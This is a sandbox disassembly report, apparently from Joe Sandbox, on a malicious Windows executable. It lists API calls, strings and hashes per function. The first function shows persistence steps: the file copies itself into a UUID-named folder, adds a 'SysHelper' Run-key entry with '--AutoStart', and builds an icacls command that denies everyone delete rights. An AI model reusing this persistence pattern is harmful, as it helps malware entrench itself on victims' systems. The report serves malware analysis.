RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48
LoadLibraryW.KERNEL32(Shell32.dll,?,?), ref: 00411E99
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00411EA5
GetCommandLineW.KERNEL32 ref: 00411EB4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00411EBF
lstrcpyW.KERNEL32(?,00000000), ref: 00411ECE
PathFindFileNameW.SHLWAPI(?), ref: 00411EDB
UuidCreate.RPCRT4(?), ref: 00411EFC
UuidToStringW.RPCRT4(?,?), ref: 00411F14
RpcStringFreeW.RPCRT4(00000000), ref: 00411F64
PathAppendW.SHLWAPI(?,?), ref: 00411F83
CreateDirectoryW.KERNEL32(?,00000000), ref: 00411F8E
PathAppendW.SHLWAPI(?,?,?,?), ref: 0041202D
DeleteFileW.KERNEL32(?), ref: 00412036
CopyFileW.KERNEL32(?,?,00000000), ref: 0041204C
RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 0041206E
_memset.LIBCMT ref: 00412090
lstrcpyW.KERNEL32(?,005002FC), ref: 004120AA
lstrcatW.KERNEL32(?,?), ref: 004120C0
lstrcatW.KERNEL32(?," --AutoStart), ref: 004120CE
lstrlenW.KERNEL32(?), ref: 004120D7
RegSetValueExW.KERNEL32(00000000,SysHelper,00000000,00000002,?,00000000), ref: 004120F3
RegCloseKey.ADVAPI32(00000000), ref: 004120FC
_memset.LIBCMT ref: 00412120
SetLastError.KERNEL32(00000000), ref: 00412146
lstrcpyW.KERNEL32(?,icacls "), ref: 00412158
lstrcatW.KERNEL32(?,?), ref: 0041216D

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00411D06, 00412064
" /deny *S-1-1-0:(OI)(CI)(DE,DC), xrefs: 0041216F
" --AutoStart, xrefs: 004120C2
SysHelper, xrefs: 00411D5B, 004120EB
SHGetFolderPathW, xrefs: 00411E9F
Shell32.dll, xrefs: 00411E94
icacls ", xrefs: 0041214C
D, xrefs: 00412128
" --AutoStart, xrefs: 00411DD1

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: FilePath$_memsetlstrcatlstrcpy$AppendCloseCommandCreateLineOpenStringUuidValuelstrlen$AddressArgvCopyDeleteDirectoryErrorExistsFindFreeLastLibraryLoadNameProcQuery
String ID: " --AutoStart$" --AutoStart$" /deny *S-1-1-0:(OI)(CI)(DE,DC)$D$SHGetFolderPathW$Shell32.dll$Software\Microsoft\Windows\CurrentVersion\Run$SysHelper$icacls "
API String ID: 2589766509-1182136429
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 715e32bd1e023583792331b7dbf49be96a7b9f80df69a50876529e1503cb0a0b
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 51E14171D00219EBDF24DBA0DD89FEE77B8BF04304F14416AE609E6191EB786A85CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00423576 Relevance: 15.3, APIs: 10, Instructions: 258
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 004235B1

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__gmtime64_s.LIBCMT ref: 0042364A
__gmtime64_s.LIBCMT ref: 00423680
__gmtime64_s.LIBCMT ref: 0042369D
__allrem.LIBCMT ref: 004236F3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0042370F
__allrem.LIBCMT ref: 00423726
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423744
__allrem.LIBCMT ref: 0042375B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423779

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit_memset
String ID:
API String ID: 1503770280-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: ab95fd8d4aa8d0004faaa41ec126efad4d06c0b8c45c9850b5361983c80b405c
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 6E7108B1B00726BBD7149E6ADC41B5AB3B8AF40729F54823FF514D6381E77CEA408798

Uniqueness

Uniqueness Score: -1.00%

Function 004240F6 Relevance: 7.5, APIs: 5, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__wsetenvp.LIBCMT ref: 0042404A
__amsg_exit.LIBCMT ref: 00424055
__cinit.LIBCMT ref: 0042405D
__amsg_exit.LIBCMT ref: 00424068
__wwincmdln.LIBCMT ref: 0042406E

Part of subcall function 00427CEC: _doexit.LIBCMT ref: 00427CF6

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: __amsg_exit$__cinit__wsetenvp__wwincmdln_doexit
String ID:
API String ID: 2587630013-0
Opcode ID: 09217920513a334b6f79b9e541313f96d920471f94f8c93875b1f7a29f43a62f
Instruction ID: 7082b750ddc29103f3c984cb6fc30cb2f1280ee8f42cb5262a6b676f22e3f134
Opcode Fuzzy Hash: 09217920513a334b6f79b9e541313f96d920471f94f8c93875b1f7a29f43a62f
Instruction Fuzzy Hash: F6F0F460709331A9DA3173B37A12B5F1654DF81768FE0054FF600A61C3DE9C8981856E

Uniqueness

Uniqueness Score: -1.00%

Function 00423B4C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 00423B64

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(007D0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

std::exception::exception.LIBCMT ref: 00423B82
__CxxThrowException@8.LIBCMT ref: 00423B97

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

bad allocation, xrefs: 00423B77

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 3074076210-2104205924
Opcode ID: eeb942be7a8daecd01f402b1fc71538ff316d088b395842a07765e87b7e27695
Instruction ID: 445f5c97f97310cbd08f0009147839d9c604c92f3643d32107fe893a2d7397f3
Opcode Fuzzy Hash: eeb942be7a8daecd01f402b1fc71538ff316d088b395842a07765e87b7e27695
Instruction Fuzzy Hash: 74F0F97560022D66CB00AF99EC56EDE7BECDF04315F40456FFC04A2282DBBCAA4486DD

Uniqueness

Uniqueness Score: -1.00%

Function 00427B0B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 7
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 00427B11

Part of subcall function 00427AD7: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,i;B,00427B16,i;B,?,00428BCA,000000FF,0000001E,00507BD0,00000008,00428B0E,i;B,i;B), ref: 00427AE6
Part of subcall function 00427AD7: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00427AF8

ExitProcess.KERNEL32 ref: 00427B1A

Strings

i;B, xrefs: 00427B0E

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID: i;B
API String ID: 2427264223-472376889
Opcode ID: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction ID: 59367741208a4d0b8125be5957acfda0e57e61d39344a7bf1a3f5abf2379cf84
Opcode Fuzzy Hash: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction Fuzzy Hash: 0DB09230404108BBCB052F52EC0A85D3F29EB003A0B408026F90848031EBB2AA919AC8

Uniqueness

Uniqueness Score: -1.00%

Function 0042FB64 Relevance: 3.0, APIs: 2, Instructions: 17
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__lock.LIBCMT ref: 0042FB7B

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

__tzset_nolock.LIBCMT ref: 0042FB8E

Part of subcall function 0042FE47: __lock.LIBCMT ref: 0042FE6C
Part of subcall function 0042FE47: ____lc_codepage_func.LIBCMT ref: 0042FEB3
Part of subcall function 0042FE47: __getenv_helper_nolock.LIBCMT ref: 0042FED4
Part of subcall function 0042FE47: _free.LIBCMT ref: 0042FF07
Part of subcall function 0042FE47: _strlen.LIBCMT ref: 0042FF0E
Part of subcall function 0042FE47: __malloc_crt.LIBCMT ref: 0042FF15

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock_free_strlen
String ID:
API String ID: 1282695788-0
Opcode ID: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction ID: e2ddc43a93f61bf79f0790849a809cb79cc8f4f227a559e0d4967367be19fad2
Opcode Fuzzy Hash: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction Fuzzy Hash: 69E0BF35E41664DAD620A7A2F91B75C7570AB14329FD0D16F9110111D28EBC15C8DA2E

Uniqueness

Uniqueness Score: -1.00%

Function 00416950 Relevance: 1.6, APIs: 1, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004169DF

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception
String ID:
API String ID: 120817956-0
Opcode ID: a31d16f5a38f4e24756d12eddb8380dded489bd2038aeda05616f964103f0abb
Instruction ID: aa06b8048d3bf760f527e7d0bbb9ad0a08af858ba63749c6f8d7f01112261dfe
Opcode Fuzzy Hash: a31d16f5a38f4e24756d12eddb8380dded489bd2038aeda05616f964103f0abb
Instruction Fuzzy Hash: E731E3B2A006059BCB20DF68C5816AEB7F9EF45750F21823FE856D7740DB38DD448BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00427F3D Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_doexit.LIBCMT ref: 00427F47

Part of subcall function 00427E0E: __lock.LIBCMT ref: 00427E1C
Part of subcall function 00427E0E: DecodePointer.KERNEL32(00507B08,0000001C,00427CFB,00423B69,00000001,00000000,i;B,00427C49,000000FF,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E5B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E6C
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E85
Part of subcall function 00427E0E: DecodePointer.KERNEL32(-00000004,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E95
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E9B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EB1
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EBC

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$Encode$__lock_doexit
String ID:
API String ID: 2158581194-0
Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction ID: a7e7560d2adc556c6fb323ffd13f600db444db9a7111c1ec19eeb8b3048b151f
Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction Fuzzy Hash: ABB01271A8430C33DA113642FC03F053B0C4740B54F610071FA0C2C5E1A593B96040DD

Uniqueness

Uniqueness Score: -1.00%

Function 00412900 Relevance: 1.3, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000010,-00000400,-00000400), ref: 00412966

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 9923f7c5fc9e2703d867ea7c919ad7633f5c387dee158893e4253aa1c6881e72
Instruction ID: 3b43283c781d39060a285e1a990033b4cd03b7dd602a36c1420ec248ee7b7319
Opcode Fuzzy Hash: 9923f7c5fc9e2703d867ea7c919ad7633f5c387dee158893e4253aa1c6881e72
Instruction Fuzzy Hash: 0411B171A00219EBDF00DF59DC41BDFBBA8EF05718F00452AF819A7280D7BE99558BDA

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00410FC0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 149encryptionstringCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00411010
__CxxThrowException@8.LIBCMT ref: 00411026

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0041103B
__CxxThrowException@8.LIBCMT ref: 00411051
lstrlenA.KERNEL32(?,00000000), ref: 00411059
CryptHashData.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00411064
__CxxThrowException@8.LIBCMT ref: 0041107A
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,00000000,?,00000000), ref: 00411099
__CxxThrowException@8.LIBCMT ref: 004110AB
_memset.LIBCMT ref: 004110CA
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 004110DE
__CxxThrowException@8.LIBCMT ref: 004110F0
_malloc.LIBCMT ref: 00411100
_memset.LIBCMT ref: 0041110B
_sprintf.LIBCMT ref: 0041112E
lstrcatA.KERNEL32(?,?), ref: 0041113C
CryptDestroyHash.ADVAPI32(00000000), ref: 00411154
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0041115F

Strings

%.2X, xrefs: 00411128

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam_memset$AcquireCreateDataDestroyExceptionRaiseRelease_malloc_sprintflstrcatlstrlen
String ID: %.2X
API String ID: 2451520719-213608013
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: afcee35d8fffc0279d29cc69f214b0122642615a52b78f57353c1cfd92a6c2ef
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: 92516171E40219BBDB10DBE5DC46FEFBBB8FB08704F14012AFA05B6291D77959018BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00411900 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 95stringmemorywindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00411915
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000), ref: 00411932
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411941
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411948
LocalAlloc.KERNEL32(00000040,00000000,?,00000400,?,00000000,00000000), ref: 00411956
lstrcpyW.KERNEL32(00000000,?), ref: 00411962
lstrcatW.KERNEL32(00000000, failed with error ), ref: 00411974
lstrcatW.KERNEL32(00000000,?), ref: 0041198B
lstrcatW.KERNEL32(00000000,00500260), ref: 00411993
lstrcatW.KERNEL32(00000000,?), ref: 00411999
lstrlenW.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 004119A3
_memset.LIBCMT ref: 004119B8
lstrcpynW.KERNEL32(?,00000000,00000400,?,00000400,?,00000000,00000000), ref: 004119DC

Part of subcall function 00412BA0: lstrlenW.KERNEL32(?), ref: 00412BC9

LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411A01
LocalFree.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00411A04

Strings

failed with error , xrefs: 0041196E

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$Local$Free$AllocErrorFormatLastMessage_memsetlstrcpylstrcpyn
String ID: failed with error
API String ID: 4182478520-946485432
Opcode ID: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction ID: 1677776e610180b78075291f83559cfdcc99dc463041ebd32873df59a21ecb07
Opcode Fuzzy Hash: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction Fuzzy Hash: 0021FB31A40214B7D7516B929C85FAE3A38EF45B11F100025FB09B61D0DE741D419BED

Uniqueness

Uniqueness Score: -1.00%

Function 0040F730 Relevance: 29.2, APIs: 19, Instructions: 732COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000,000000FF), ref: 0040F900
_memmove.LIBCMT ref: 0040F9EA
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0040FA51
_memmove.LIBCMT ref: 0040FADA

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: daf740ff3ac2c3b591e036bdef447c77de08716d8619f20f92381a2c96999064
Instruction ID: a2fe25dd57492d494e78aebb36a96054b80ce25314fb01b08d1ce03a62da89f0
Opcode Fuzzy Hash: daf740ff3ac2c3b591e036bdef447c77de08716d8619f20f92381a2c96999064
Instruction Fuzzy Hash: D652A271D00208DBDF20DFA4D985BDEB7B4BF05308F10817AE419B7291D779AA89CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040E870 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000), ref: 0040E8CE
__CxxThrowException@8.LIBCMT ref: 0040E8E4

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040E8F9
__CxxThrowException@8.LIBCMT ref: 0040E90F
CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 0040E928
__CxxThrowException@8.LIBCMT ref: 0040E93E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040E95D
__CxxThrowException@8.LIBCMT ref: 0040E96F
_memset.LIBCMT ref: 0040E98E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040E9A2
__CxxThrowException@8.LIBCMT ref: 0040E9B4
_sprintf.LIBCMT ref: 0040E9D3

Strings

%.2X, xrefs: 0040E9CD

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: CryptException@8Throw$Hash$Param$AcquireContextCreateDataExceptionRaise_memset_sprintf
String ID: %.2X
API String ID: 1084002244-213608013
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 6020eefb82f776eec2353dc0ff897aa1862dcd4ecc30860888fbdadc8ba65bc1
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 835173B1E40209EBDF11DFA2DC46FEEBB78EB04704F10452AF501B61C1D7796A158BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAA0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 159encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000), ref: 0040EB01
__CxxThrowException@8.LIBCMT ref: 0040EB17

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040EB2C
__CxxThrowException@8.LIBCMT ref: 0040EB42
CryptHashData.ADVAPI32(00000000,?,?,00000000), ref: 0040EB4E
__CxxThrowException@8.LIBCMT ref: 0040EB64
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,?,00000000), ref: 0040EB83
__CxxThrowException@8.LIBCMT ref: 0040EB95
_memset.LIBCMT ref: 0040EBB4
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040EBC8
__CxxThrowException@8.LIBCMT ref: 0040EBDA
_sprintf.LIBCMT ref: 0040EBF4
CryptDestroyHash.ADVAPI32(00000000), ref: 0040EC44
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0040EC4F

Strings

%.2X, xrefs: 0040EBEE

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam$AcquireCreateDataDestroyExceptionRaiseRelease_memset_sprintf
String ID: %.2X
API String ID: 1637485200-213608013
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 14d7d02cf3c54262bdef7e6fa07b3cadf7b2b7504ea62fb0b9d39e8d8664034d
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: A6515371E40209ABDF11DBA6DC46FEFBBB8EB04704F14052AF505B62C1D77969058BA8

Uniqueness

Uniqueness Score: -1.00%

Function 004822E0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004549A0: GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
Part of subcall function 004549A0: GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
Part of subcall function 004549A0: GetDesktopWindow.USER32 ref: 004549FB
Part of subcall function 004549A0: GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
Part of subcall function 004549A0: GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
Part of subcall function 004549A0: _wcsstr.LIBCMT ref: 00454A8A

